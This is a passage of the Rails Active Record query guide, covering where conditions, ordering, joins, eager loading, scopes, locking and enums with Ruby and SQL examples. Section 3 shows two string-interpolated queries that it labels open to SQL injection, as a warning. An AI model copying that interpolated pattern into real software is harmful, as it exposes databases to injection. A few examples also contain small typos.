Similar to the :start option, :finish allows you to configure the last ID of the sequence whenever the highest ID is not the one you need. This would be useful, for example, if you wanted to run a batch process using a subset of records based on :start and :finish.

For example, to send newsletters only to customers with the primary key starting from 2000 up to 10000:

  Customer.find_each(start: 2000, finish: 10000) do |customer|
  NewsMailer.weekly(customer).deliver_now
end

Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate :start and :finish options on each worker.

:error_on_ignore

Overrides the application config to specify if an error should be raised when an order is present in the relation.

:order

Specifies the primary key order (can be :asc or :desc). Defaults to :asc.

  Customer.find_each(order: :desc) do |customer|
  NewsMailer.weekly(customer).deliver_now
end

2.2.2 find_in_batches

The find_in_batches method is similar to find_each, since both retrieve batches of records. The difference is that find_in_batches yields batches to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 customers at a time, with the final block containing any remaining customers:

  # Give add_customers an array of 1000 customers at a time.
Customer.find_in_batches do |customers|
  export.add_customers(customers)
end

find_in_batches works on model classes, as seen above, and also on relations:

  # Give add_customers an array of 1000 recently active customers at a time.
Customer.recently_active.find_in_batches do |customers|
  export.add_customers(customers)
end

as long as they have no ordering, since the method needs to force an order internally to iterate.

2.2.2.1 Options for find_in_batches

The find_in_batches method accepts the same options as find_each:

:batch_size

Just like for find_each, batch_size establishes how many records will be retrieved in each group. For example, retrieving batches of 2500 records can be specified as:

  Customer.find_in_batches(batch_size: 2500) do |customers|
  export.add_customers(customers)
end

:start

The start option allows specifying the beginning ID from where records will be selected. As mentioned before, by default records are fetched in ascending order of the primary key. For example, to retrieve customers starting on ID: 5000 in batches of 2500 records, the following code can be used:

  Customer.find_in_batches(batch_size: 2500, start: 5000) do |customers|
  export.add_customers(customers)
end

:finish

The finish option allows specifying the ending ID of the records to be retrieved. The code below shows the case of retrieving customers in batches, up to the customer with ID: 7000:

  Customer.find_in_batches(finish: 7000) do |customers|
  export.add_customers(customers)
end

:error_on_ignore

The error_on_ignore option overrides the application config to specify if an error should be raised when a specific order is present in the relation.

3 Conditions

The where method allows you to specify conditions to limit the records returned, representing the WHERE-part of the SQL statement. Conditions can either be specified as a string, array, or hash.

3.1 Pure String Conditions

If you'd like to add conditions to your find, you could just specify them in there, just like Book.where("title = 'Introduction to Algorithms'"). This will find all books where the title field value is 'Introduction to Algorithms'.

Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, Book.where("title LIKE '%#{params[:title]}%'") is not safe. See the next section for the preferred way to handle conditions using an array.

3.2 Array Conditions

Now what if that title could vary, say as an argument from somewhere? The find would then take the form:

  Book.where("title = ?", params[:title])

Active Record will take the first argument as the conditions string and any additional arguments will replace the question marks (?) in it.

If you want to specify multiple conditions:

  Book.where("title = ? AND out_of_print = ?", params[:title], false)

In this example, the first question mark will be replaced with the value in params[:title] and the second will be replaced with the SQL representation of false, which depends on the adapter.

This code is highly preferable:

  Book.where("title = ?", params[:title])

to this code:

  Book.where("title = #{params[:title]}")

because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database as-is. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.

For more information on the dangers of SQL injection, see the Ruby on Rails Security Guide.

3.2.1 Placeholder Conditions

Similar to the (?) replacement style of params, you can also specify keys in your conditions string along with a corresponding keys/values hash:

  Book.where("created_at >= :start_date AND created_at <= :end_date",
  {start_date: params[:start_date], end_date: params[:end_date]})

This makes for clearer readability if you have a large number of variable conditions.

3.2.2 Conditions That Use LIKE

Although condition arguments are automatically escaped to prevent SQL injection, SQL LIKE wildcards (i.e., % and _) are not escaped. This may cause unexpected behavior if an unsanitized value is used in an argument. For example:

  Book.where("title LIKE ?", params[:title] + "%")

In the above code, the intent is to match titles that start with a user-specified string. However, any occurrences of % or _ in params[:title] will be treated as wildcards, leading to surprising query results. In some circumstances, this may also prevent the database from using an intended index, leading to a much slower query.

To avoid these problems, use sanitize_sql_like to escape wildcard characters in the relevant portion of the argument:

  Book.where("title LIKE ?",
  Book.sanitize_sql_like(params[:title]) + "%")

3.3 Hash Conditions

Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want qualified and the values of how you want to qualify them:

Only equality, range, and subset checking are possible with Hash conditions.

3.3.1 Equality Conditions

  Book.where(out_of_print: true)

This will generate SQL like this:

  SELECT * FROM books WHERE (books.out_of_print = 1)

The field name can also be a string:

  Book.where('out_of_print' => true)

In the case of a belongs_to relationship, an association key can be used to specify the model if an Active Record object is used as the value. This method works with polymorphic relationships as well.

  author = Author.first
Book.where(author: author)
Author.joins(:books).where(books: { author: author })

3.3.2 Range Conditions

  Book.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight)

This will find all books created yesterday by using a BETWEEN SQL statement:

  SELECT * FROM books WHERE (books.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')

This demonstrates a shorter syntax for the examples in Array Conditions

Beginless and endless ranges are supported and can be used to build less/greater than conditions.

  Book.where(created_at: (Time.now.midnight - 1.day)..)

This would generate SQL like:

  SELECT * FROM books WHERE books.created_at >= '2008-12-21 00:00:00'

3.3.3 Subset Conditions

If you want to find records using the IN expression you can pass an array to the conditions hash:

  Customer.where(orders_count: [1,3,5])

This code will generate SQL like this:

  SELECT * FROM customers WHERE (customers.orders_count IN (1,3,5))

3.4 NOT Conditions

NOT SQL queries can be built by where.not:

  Customer.where.not(orders_count: [1,3,5])

In other words, this query can be generated by calling where with no argument, then immediately chain with not passing where conditions. This will generate SQL like this:

  SELECT * FROM customers WHERE (customers.orders_count NOT IN (1,3,5))

If a query has a hash condition with non-nil values on a nullable column, the records that have nil values on the nullable column won't be returned. For example:

  Customer.create!(nullable_contry: nil)
Customer.where.not(nullable_country: "UK")
=> []
# But
Customer.create!(nullable_contry: "UK")
Customer.where.not(nullable_country: nil)
=> [#<Customer id: 2, nullable_contry: "UK">]

3.5 OR Conditions

OR conditions between two relations can be built by calling or on the first relation, and passing the second one as an argument.

  Customer.where(last_name: 'Smith').or(Customer.where(orders_count: [1,3,5]))

  SELECT * FROM customers WHERE (customers.last_name = 'Smith' OR customers.orders_count IN (1,3,5))

3.6 AND Conditions

AND conditions can be built by chaining where conditions.

  Customer.where(last_name: 'Smith').where(orders_count: [1,3,5]))

  SELECT * FROM customers WHERE customers.last_name = 'Smith' AND customers.orders_count IN (1,3,5)

AND conditions for the logical intersection between relations can be built by calling and on the first relation, and passing the second one as an argument.

  Customer.where(id: [1, 2]).and(Customer.where(id: [2, 3]))

  SELECT * FROM customers WHERE (customers.id IN (1, 2) AND customers.id IN (2, 3))

4 Ordering

To retrieve records from the database in a specific order, you can use the order method.

For example, if you're getting a set of records and want to order them in ascending order by the created_at field in your table:

  Book.order(:created_at)
# OR
Book.order("created_at")

You could specify ASC or DESC as well:

  Book.order(created_at: :desc)
# OR
Book.order(created_at: :asc)
# OR
Book.order("created_at DESC")
# OR
Book.order("created_at ASC")

Or ordering by multiple fields:

  Book.order(title: :asc, created_at: :desc)
# OR
Book.order(:title, created_at: :desc)
# OR
Book.order("title ASC, created_at DESC")
# OR
Book.order("title ASC", "created_at DESC")

If you want to call order multiple times, subsequent orders will be appended to the first:

  irb> Book.order("title ASC").order("created_at DESC")
SELECT * FROM books ORDER BY title ASC, created_at DESC

In most database systems, on selecting fields with distinct from a result set using methods like select, pluck and ids; the order method will raise an ActiveRecord::StatementInvalid exception unless the field(s) used in order clause are included in the select list. See the next section for selecting fields from the result set.

5 Selecting Specific Fields

By default, Model.find selects all the fields from the result set using select *.

To select only a subset of fields from the result set, you can specify the subset via the select method.

For example, to select only isbn and out_of_print columns:

  Book.select(:isbn, :out_of_print)
# OR
Book.select("isbn, out_of_print")

The SQL query used by this find call will be somewhat like:

  SELECT isbn, out_of_print FROM books

Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:

  ActiveModel::MissingAttributeError: missing attribute: <attribute>

Where <attribute> is the attribute you asked for. The id method will not raise the ActiveRecord::MissingAttributeError, so just be careful when working with associations because they need the id method to function properly.

If you would like to only grab a single record per unique value in a certain field, you can use distinct:

  Customer.select(:last_name).distinct

This would generate SQL like:

  SELECT DISTINCT last_name FROM customers

You can also remove the uniqueness constraint:

  # Returns unique last_names
query = Customer.select(:last_name).distinct

# Returns all last_names, even if there are duplicates
query.distinct(false)

6 Limit and Offset

To apply LIMIT to the SQL fired by the Model.find, you can specify the LIMIT using limit and offset methods on the relation.

You can use limit to specify the number of records to be retrieved, and use offset to specify the number of records to skip before starting to return the records. For example

  Customer.limit(5)

will return a maximum of 5 customers and because it specifies no offset it will return the first 5 in the table. The SQL it executes looks like this:

  SELECT * FROM customers LIMIT 5

Adding offset to that

  Customer.limit(5).offset(30)

will return instead a maximum of 5 customers beginning with the 31st. The SQL looks like:

  SELECT * FROM customers LIMIT 5 OFFSET 30

7 Group

To apply a GROUP BY clause to the SQL fired by the finder, you can use the group method.

For example, if you want to find a collection of the dates on which orders were created:

  Order.select("created_at").group("created_at")

And this will give you a single Order object for each date where there are orders in the database.

The SQL that would be executed would be something like this:

  SELECT created_at
FROM orders
GROUP BY created_at

7.1 Total of Grouped Items

To get the total of grouped items on a single query, call count after the group.

  irb> Order.group(:status).count
=> {"being_packed"=>7, "shipped"=>12}

The SQL that would be executed would be something like this:

  SELECT COUNT (*) AS count_all, status AS status
FROM orders
GROUP BY status

8 Having

SQL uses the HAVING clause to specify conditions on the GROUP BY fields. You can add the HAVING clause to the SQL fired by the Model.find by adding the having method to the find.

For example:

  Order.select("created_at, sum(total) as total_price").
  group("created_at").having("sum(total) > ?", 200)

The SQL that would be executed would be something like this:

  SELECT created_at as ordered_date, sum(total) as total_price
FROM orders
GROUP BY created_at
HAVING sum(total) > 200

This returns the date and total price for each order object, grouped by the day they were ordered and where the total is more than $200.

You would access the total_price for each order object returned like this:

  big_orders = Order.select("created_at, sum(total) as total_price")
                  .group("created_at")
                  .having("sum(total) > ?", 200)

big_orders[0].total_price
# Returns the total price for the first Order object

9 Overriding Conditions

9.1 unscope

You can specify certain conditions to be removed using the unscope method. For example:

  Book.where('id > 100').limit(20).order('id desc').unscope(:order)

The SQL that would be executed:

  SELECT * FROM books WHERE id > 100 LIMIT 20

-- Original query without `unscope`
SELECT * FROM books WHERE id > 100 ORDER BY id desc LIMIT 20

You can also unscope specific where clauses. For example, this will remove id condition from the where clause:

  Book.where(id: 10, out_of_print: false).unscope(where: :id)
# SELECT books.* FROM books WHERE out_of_print = 0

A relation which has used unscope will affect any relation into which it is merged:

  Book.order('id desc').merge(Book.unscope(:order))
# SELECT books.* FROM books

9.2 only

You can also override conditions using the only method. For example:

  Book.where('id > 10').limit(20).order('id desc').only(:order, :where)

The SQL that would be executed:

  SELECT * FROM books WHERE id > 10 ORDER BY id DESC

-- Original query without `only`
SELECT * FROM books WHERE id > 10 ORDER BY id DESC LIMIT 20

9.3 reselect

The reselect method overrides an existing select statement. For example:

  Book.select(:title, :isbn).reselect(:created_at)

The SQL that would be executed:

  SELECT books.created_at FROM books

Compare this to the case where the reselect clause is not used:

  Book.select(:title, :isbn).select(:created_at)

the SQL executed would be:

  SELECT books.title, books.isbn, books.created_at FROM books

9.4 reorder

The reorder method overrides the default scope order. For example if the class definition includes this:

  class Author < ApplicationRecord
  has_many :books, -> { order(year_published: :desc) }
end

And you execute this:

  Author.find(10).books

The SQL that would be executed:

  SELECT * FROM authors WHERE id = 10 LIMIT 1
SELECT * FROM books WHERE author_id = 10 ORDER BY year_published DESC

You can using the reorder clause to specify a different way to order the books:

  Author.find(10).books.reorder('year_published ASC')

The SQL that would be executed:

  SELECT * FROM authors WHERE id = 10 LIMIT 1
SELECT * FROM books WHERE author_id = 10 ORDER BY year_published ASC

9.5 reverse_order

The reverse_order method reverses the ordering clause if specified.

  Book.where("author_id > 10").order(:year_published).reverse_order

The SQL that would be executed:

  SELECT * FROM books WHERE author_id > 10 ORDER BY year_published DESC

If no ordering clause is specified in the query, the reverse_order orders by the primary key in reverse order.

  Book.where("author_id > 10").reverse_order

The SQL that would be executed:

  SELECT * FROM books WHERE author_id > 10 ORDER BY books.id DESC

The reverse_order method accepts no arguments.

9.6 rewhere

The rewhere method overrides an existing, named where condition. For example:

  Book.where(out_of_print: true).rewhere(out_of_print: false)

The SQL that would be executed:

  SELECT * FROM books WHERE out_of_print = 0

If the rewhere clause is not used, the where clauses are ANDed together:

  Book.where(out_of_print: true).where(out_of_print: false)

the SQL executed would be:

  SELECT * FROM books WHERE out_of_print = 1 AND out_of_print = 0

10 Null Relation

The none method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results.

  Book.none # returns an empty Relation and fires no queries.

  # The highlighted_reviews method below is expected to always return a Relation.
Book.first.highlighted_reviews.average(:rating)
# => Returns average rating of a book

class Book
  # Returns reviews if there are at least 5,
  # else consider this as non-reviewed book
  def highlighted_reviews
    if reviews.count > 5
      reviews
    else
      Review.none # Does not meet minimum threshold yet
    end
  end
end

11 Readonly Objects

Active Record provides the readonly method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an ActiveRecord::ReadOnlyRecord exception.

  customer = Customer.readonly.first
customer.visits += 1
customer.save

As customer is explicitly set to be a readonly object, the above code will raise an ActiveRecord::ReadOnlyRecord exception when calling customer.save with an updated value of visits.

12 Locking Records for Update

Locking is helpful for preventing race conditions when updating records in the database and ensuring atomic updates.

Active Record provides two locking mechanisms:

Optimistic Locking

Pessimistic Locking

12.1 Optimistic Locking

Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An ActiveRecord::StaleObjectError exception is thrown if that has occurred and the update is ignored.

Optimistic locking column

In order to use optimistic locking, the table needs to have a column called lock_version of type integer. Each time the record is updated, Active Record increments the lock_version column. If an update request is made with a lower value in the lock_version field than is currently in the lock_version column in the database, the update request will fail with an ActiveRecord::StaleObjectError.

For example:

  c1 = Customer.find(1)
c2 = Customer.find(1)

c1.first_name = "Sandra"
c1.save

c2.first_name = "Michael"
c2.save # Raises an ActiveRecord::StaleObjectError

You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.

This behavior can be turned off by setting ActiveRecord::Base.lock_optimistically = false.

To override the name of the lock_version column, ActiveRecord::Base provides a class attribute called locking_column:

  class Customer < ApplicationRecord
  self.locking_column = :lock_customer_column
end

12.2 Pessimistic Locking

Pessimistic locking uses a locking mechanism provided by the underlying database. Using lock when building a relation obtains an exclusive lock on the selected rows. Relations using lock are usually wrapped inside a transaction for preventing deadlock conditions.

For example:

  Book.transaction do
  book = Book.lock.first
  book.title = 'Algorithms, second edition'
  book.save!
end

The above session produces the following SQL for a MySQL backend:

  SQL (0.2ms)   BEGIN
Book Load (0.3ms)   SELECT * FROM books LIMIT 1 FOR UPDATE
Book Update (0.4ms)   UPDATE books SET updated_at = '2009-02-07 18:05:56', title = 'Algorithms, second edition' WHERE id = 1
SQL (0.8ms)   COMMIT

You can also pass raw SQL to the lock method for allowing different types of locks. For example, MySQL has an expression called LOCK IN SHARE MODE where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:

  Book.transaction do
  book = Book.lock("LOCK IN SHARE MODE").find(1)
  book.increment!(:views)
end

Note that your database must support the raw SQL, that you pass in to the lock method.

If you already have an instance of your model, you can start a transaction and acquire the lock in one go using the following code:

  book = Book.first
book.with_lock do
  # This block is called within a transaction,
  # book is already locked.
  book.increment!(:views)
end

13 Joining Tables

Active Record provides two finder methods for specifying JOIN clauses on the resulting SQL: joins and left_outer_joins. While joins should be used for INNER JOIN or custom queries, left_outer_joins is used for queries using LEFT OUTER JOIN.

13.1 joins

There are multiple ways to use the joins method.

13.1.1 Using a String SQL Fragment

You can just supply the raw SQL specifying the JOIN clause to joins:

  Author.joins("INNER JOIN books ON books.author_id = authors.id AND books.out_of_print = FALSE")

This will result in the following SQL:

  SELECT authors.* FROM authors INNER JOIN books ON books.author_id = authors.id AND books.out_of_print = FALSE

13.1.2 Using Array/Hash of Named Associations

Active Record lets you use the names of the associations defined on the model as a shortcut for specifying JOIN clauses for those associations when using the joins method.

All of the following will produce the expected join queries using INNER JOIN:

13.1.2.1 Joining a Single Association

  Book.joins(:reviews)

This produces:

  SELECT books.* FROM books
  INNER JOIN reviews ON reviews.book_id = books.id

Or, in English: "return a Book object for all books with reviews". Note that you will see duplicate books if a book has more than one review. If you want unique books, you can use Book.joins(:reviews).distinct.

13.1.3 Joining Multiple Associations

  Book.joins(:author, :reviews)

This produces:

  SELECT books.* FROM books
  INNER JOIN authors ON authors.id = books.author_id
  INNER JOIN reviews ON reviews.book_id = books.id

Or, in English: "return all books with their author that have at least one review". Note again that books with multiple reviews will show up multiple times.

13.1.3.1 Joining Nested Associations (Single Level)

  Book.joins(reviews: :customer)

This produces:

  SELECT books.* FROM books
  INNER JOIN reviews ON reviews.book_id = books.id
  INNER JOIN customers ON customers.id = reviews.customer_id

Or, in English: "return all books that have a review by a customer."

13.1.3.2 Joining Nested Associations (Multiple Level)

  Author.joins(books: [{ reviews: { customer: :orders } }, :supplier] )

This produces:

  SELECT * FROM authors
  INNER JOIN books ON books.author_id = authors.id
  INNER JOIN reviews ON reviews.book_id = books.id
  INNER JOIN customers ON customers.id = reviews.customer_id
  INNER JOIN orders ON orders.customer_id = customers.id
INNER JOIN suppliers ON suppliers.id = books.supplier_id

Or, in English: "return all authors that have books with reviews and have been ordered by a customer, and the suppliers for those books."

13.1.4 Specifying Conditions on the Joined Tables

You can specify conditions on the joined tables using the regular Array and String conditions. Hash conditions provide a special syntax for specifying conditions for the joined tables:

  time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Customer.joins(:orders).where('orders.created_at' => time_range).distinct

This will find all customers who have orders that were created yesterday, using a BETWEEN SQL expression to compare created_at.

An alternative and cleaner syntax is to nest the hash conditions:

  time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Customer.joins(:orders).where(orders: { created_at: time_range }).distinct

For more advanced conditions or to reuse an existing named scope, merge may be used. First, let's add a new named scope to the Order model:

  class Order < ApplicationRecord
  belongs_to :customer

  scope :created_in_time_range, ->(time_range) {
    where(created_at: time_range)
  }
end

Now we can use merge to merge in the created_in_time_range scope:

  time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Customer.joins(:orders).merge(Order.created_in_time_range(time_range)).distinct

This will find all customers who have orders that were created yesterday, again using a BETWEEN SQL expression.

13.2 left_outer_joins

If you want to select a set of records whether or not they have associated records you can use the left_outer_joins method.

  Customer.left_outer_joins(:reviews).distinct.select('customers.*, COUNT(reviews.*) AS reviews_count').group('customers.id')

Which produces:

  SELECT DISTINCT customers.*, COUNT(reviews.*) AS reviews_count FROM customers
LEFT OUTER JOIN reviews ON reviews.customer_id = customers.id GROUP BY customers.id

Which means: "return all customers with their count of reviews, whether or not they have any reviews at all"

14 Eager Loading Associations

Eager loading is the mechanism for loading the associated records of the objects returned by Model.find using as few queries as possible.

N + 1 queries problem

Consider the following code, which finds 10 books and prints their authors' last_name:

  books = Book.limit(10)

books.each do |book|
  puts book.author.last_name
end

This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 (to find 10 books) + 10 (one per each book to load the author) = 11 queries in total.

Solution to N + 1 queries problem

Active Record lets you specify in advance all the associations that are going to be loaded.

The methods are:

includes

preload

eager_load

14.1 includes

With includes, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries.

Revisiting the above case using the includes method, we could rewrite Book.limit(10) to eager load authors:

  books = Book.includes(:author).limit(10)

books.each do |book|
  puts book.author.last_name
end

The above code will execute just 2 queries, as opposed to the 11 queries from the original case:

  SELECT books.* FROM books LIMIT 10
SELECT authors.* FROM authors
  WHERE authors.book_id IN (1,2,3,4,5,6,7,8,9,10)

14.1.1 Eager Loading Multiple Associations

Active Record lets you eager load any number of associations with a single Model.find call by using an array, hash, or a nested hash of array/hash with the includes method.

14.1.2 Array of Multiple Associations

  Customer.includes(:orders, :reviews)

This loads all the customers and the associated orders and reviews for each.

14.1.2.1 Nested Associations Hash

  Customer.includes(orders: {books: [:supplier, :author]}).find(1)

This will find the customer with id 1 and eager load all of the associated orders for it, the books for all of the orders, and the author and supplier for each of the books.

14.1.3 Specifying Conditions on Eager Loaded Associations

Even though Active Record lets you specify conditions on the eager loaded associations just like joins, the recommended way is to use joins instead.

However if you must do this, you may use where as you would normally.

  Author.includes(:books).where(books: { out_of_print: true })

This would generate a query which contains a LEFT OUTER JOIN whereas the joins method would generate one using the INNER JOIN function instead.

    SELECT authors.id AS t0_r0, ... books.updated_at AS t1_r5 FROM authors LEFT OUTER JOIN books ON books.author_id = authors.id WHERE (books.out_of_print = 1)

If there was no where condition, this would generate the normal set of two queries.

Using where like this will only work when you pass it a Hash. For SQL-fragments you need to use references to force joined tables:

  Author.includes(:books).where("books.out_of_print = true").references(:books)

If, in the case of this includes query, there were no books for any authors, all the authors would still be loaded. By using joins (an INNER JOIN), the join conditions must match, otherwise no records will be returned.

If an association is eager loaded as part of a join, any fields from a custom select clause will not be present on the loaded models. This is because it is ambiguous whether they should appear on the parent record, or the child.

14.2 preload

With preload, Active Record loads each specified association using one query per association.

Revisiting the N + 1 queries problem, we could rewrite Book.limit(10) to preload authors:

  books = Book.preload(:author).limit(10)

books.each do |book|
  puts book.author.last_name
end

The above code will execute just 2 queries, as opposed to the 11 queries from the original case:

  SELECT books.* FROM books LIMIT 10
SELECT authors.* FROM authors
  WHERE authors.book_id IN (1,2,3,4,5,6,7,8,9,10)

The preload method uses an array, hash, or a nested hash of array/hash in the same way as the includes method to load any number of associations with a single Model.find call. However, unlike the includes method, it is not possible to specify conditions for preloaded associations.

14.3 eager_load

With eager_load, Active Record loads all specified associations using a LEFT OUTER JOIN.

Revisiting the case where N + 1 was occurred using the eager_load method, we could rewrite Book.limit(10) to authors:

  books = Book.eager_load(:author).limit(10)

books.each do |book|
  puts book.author.last_name
end

The above code will execute just 2 queries, as opposed to the 11 queries from the original case:

  SELECT DISTINCT books.id FROM books LEFT OUTER JOIN authors ON authors.book_id = books.id LIMIT 10
SELECT books.id AS t0_r0, books.last_name AS t0_r1, ...
  FROM books LEFT OUTER JOIN authors ON authors.book_id = books.id
  WHERE books.id IN (1,2,3,4,5,6,7,8,9,10)

The eager_load method uses an array, hash, or a nested hash of array/hash in the same way as the includes method to load any number of associations with a single Model.find call. Also, like the includes method, you can specify conditions for eager loaded associations.

15 Scopes

Scoping allows you to specify commonly-used queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as where, joins and includes. All scope bodies should return an ActiveRecord::Relation or nil to allow for further methods (such as other scopes) to be called on it.

To define a simple scope, we use the scope method inside the class, passing the query that we'd like to run when this scope is called:

  class Book < ApplicationRecord
  scope :out_of_print, -> { where(out_of_print: true) }
end

To call this out_of_print scope we can call it on either the class:

  irb> Book.out_of_print
=> #<ActiveRecord::Relation> # all out of print books

Or on an association consisting of Book objects:

  irb> author = Author.first
irb> author.books.out_of_print
=> #<ActiveRecord::Relation> # all out of print books by `author`

Scopes are also chainable within scopes:

  class Book < ApplicationRecord
  scope :out_of_print, -> { where(out_of_print: true) }
  scope :out_of_print_and_expensive, -> { out_of_print.where("price > 500") }
end

15.1 Passing in Arguments

Your scope can take arguments:

  class Book < ApplicationRecord
  scope :costs_more_than, ->(amount) { where("price > ?", amount) }
end

Call the scope as if it were a class method:

  irb> Book.costs_more_than(100.10)

However, this is just duplicating the functionality that would be provided to you by a class method.

  class Book < ApplicationRecord
  def self.costs_more_than(amount)
    where("price > ?", amount)
  end
end

These methods will still be accessible on the association objects:

  irb> author.books.costs_more_than(100.10)

15.2 Using Conditionals

Your scope can utilize conditionals:

  class Order < ApplicationRecord
  scope :created_before, ->(time) { where(created_at: ...time) if time.present? }
end

Like the other examples, this will behave similarly to a class method.

  class Order < ApplicationRecord
  def self.created_before(time)
    where(created_at: ...time) if time.present?
  end
end

However, there is one important caveat: A scope will always return an ActiveRecord::Relation object, even if the conditional evaluates to false, whereas a class method, will return nil. This can cause NoMethodError when chaining class methods with conditionals, if any of the conditionals return false.

15.3 Applying a Default Scope

If we wish for a scope to be applied across all queries to the model we can use the default_scope method within the model itself.

  class Book < ApplicationRecord
  default_scope { where(out_of_print: false) }
end

When queries are executed on this model, the SQL query will now look something like this:

  SELECT * FROM books WHERE (out_of_print = false)

If you need to do more complex things with a default scope, you can alternatively define it as a class method:

  class Book < ApplicationRecord
  def self.default_scope
    # Should return an ActiveRecord::Relation.
  end
end

The default_scope is also applied while creating/building a record when the scope arguments are given as a Hash. It is not applied while updating a record. E.g.:

  class Book < ApplicationRecord
  default_scope { where(out_of_print: false) }
end

  irb> Book.new
=> #<Book id: nil, out_of_print: false>
irb> Book.unscoped.new
=> #<Book id: nil, out_of_print: nil>

Be aware that, when given in the Array format, default_scope query arguments cannot be converted to a Hash for default attribute assignment. E.g.:

  class Book < ApplicationRecord
  default_scope { where("out_of_print = ?", false) }
end

  irb> Book.new
=> #<Book id: nil, out_of_print: nil>

15.4 Merging of Scopes

Just like where clauses, scopes are merged using AND conditions.

  class Book < ApplicationRecord
  scope :in_print, -> { where(out_of_print: false) }
  scope :out_of_print, -> { where(out_of_print: true) }

  scope :recent, -> { where(year_published: 50.years.ago.year..) }
  scope :old, -> { where(year_published: ...50.years.ago.year) }
end

  irb> Book.out_of_print.old
SELECT books.* FROM books WHERE books.out_of_print = 'true' AND books.year_published < 1969

We can mix and match scope and where conditions and the final SQL will have all conditions joined with AND.

  irb> Book.in_print.where(price: ...100)
SELECT books.* FROM books WHERE books.out_of_print = 'false' AND books.price < 100

If we do want the last where clause to win then merge can be used.

  irb> Book.in_print.merge(Book.out_of_print)
SELECT books.* FROM books WHERE books.out_of_print = true

One important caveat is that default_scope will be prepended in scope and where conditions.

  class Book < ApplicationRecord
  default_scope { where(year_published: 50.years.ago.year..) }

  scope :in_print, -> { where(out_of_print: false) }
  scope :out_of_print, -> { where(out_of_print: true) }
end

  irb> Book.all
SELECT books.* FROM books WHERE (year_published >= 1969)

irb> Book.in_print
SELECT books.* FROM books WHERE (year_published >= 1969) AND books.out_of_print = false

irb> Book.where('price > 50')
SELECT books.* FROM books WHERE (year_published >= 1969) AND (price > 50)

As you can see above the default_scope is being merged in both scope and where conditions.

15.5 Removing All Scoping

If we wish to remove scoping for any reason we can use the unscoped method. This is especially useful if a default_scope is specified in the model and should not be applied for this particular query.

  Book.unscoped.load

This method removes all scoping and will do a normal query on the table.

  irb> Book.unscoped.all
SELECT books.* FROM books

irb> Book.where(out_of_print: true).unscoped.all
SELECT books.* FROM books

unscoped can also accept a block:

  irb> Book.unscoped { Book.out_of_print }
SELECT books.* FROM books WHERE books.out_of_print

16 Dynamic Finders

For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called first_name on your Customer model for example, you get the instance method find_by_first_name for free from Active Record. If you also have a locked field on the Customer model, you also get find_by_locked method.

You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an ActiveRecord::RecordNotFound error if they do not return any records, like Customer.find_by_first_name!("Ryan")

If you want to find both by first_name and orders_count, you can chain these finders together by simply typing "and" between the fields. For example, Customer.find_by_first_name_and_orders_count("Ryan", 5).

17 Enums

An enum lets you define an Array of values for an attribute and refer to them by name. The actual value stored in the database is an integer that has been mapped to one of the values.

Declaring an enum will:

Create scopes that can be used to find all objects that have or do not have one of the enum values

Create an instance method that can be used to determine if an object has a particular value for the enum

Create an instance method that can be used to change the enum value of an object

for all possible values of an enum.

For example, given this enum declaration:

  class Order < ApplicationRecord
  enum :status, [:shipped, :being_packaged, :complete, :cancelled]
end

These scopes are created automatically and can be used to find all objects with or without a particular value for status:

  irb> Order.shipped
=> #<ActiveRecord::Relation> # all orders with status == :shipped
irb> Order.not_shipped
=> #<ActiveRecord::Relation> # all orders with status != :shipped

These instance methods are created automatically and query whether the model has that value for the status enum:

  irb> order = Order.shipped.first
irb> order.shipped?
=> true
irb> order.complete?
=> false

These instance methods are created automatically and will first update the value of status to the named value and then query whether or not the status has been successfully set to the value:

  irb> order = Order.first
irb> order.shipped!
UPDATE "orders" SET "status" = ?, "updated_at" = ? WHERE "orders"."id" = ?  [["status", 0], ["updated_at", "2019-01-24 07:13:08.524320"], ["id", 1]]
=> true

Full documentation about enums can be found here.

18 Understanding Method Chaining

The Active Record pattern implements Method Chaining, which allow us to use multiple Active Record methods together in a simple and straightforward way.

You can chain methods in a statement when the previous method called returns an ActiveRecord::Relation, like all, where, and joins. Methods that return a single object (see Retrieving a Single Object Section) have to be at the end of the statement.

There are some examples below. This guide won't cover all the possibilities, just a few as examples. When an Active Record method is called, the query is not immediately generated and sent to the database. The query is sent only when the data is actually needed. So each example below generates a single query.

18.1 Retrieving Filtered Data from Multiple Tables

  Customer
  .select('customers.id, customers.last_name, reviews.body')
  .joins(:reviews)
  .where('reviews.created_at > ?', 1.week.ago)

The result should be something like this:

  SELECT customers.id, customers.last_name, reviews.body
FROM customers
INNER JOIN reviews
  ON reviews.customer_id = customers.id
WHERE (reviews.created_at > '2019-01-08')

18.2 Retrieving Specific Data from Multiple Tables

  Book
  .select('books.id, books.title, authors.first_name')
  .joins(:author)
  .find_by(title: 'Abstraction and Specification in Program Development')

The above should generate:

  SELECT books.id, books.title, authors.first_name
FROM books
INNER JOIN authors
  ON authors.id = books.author_id
WHERE books.title = $1 [["title", "Abstraction and Specification in Program Development"]]
LIMIT 1

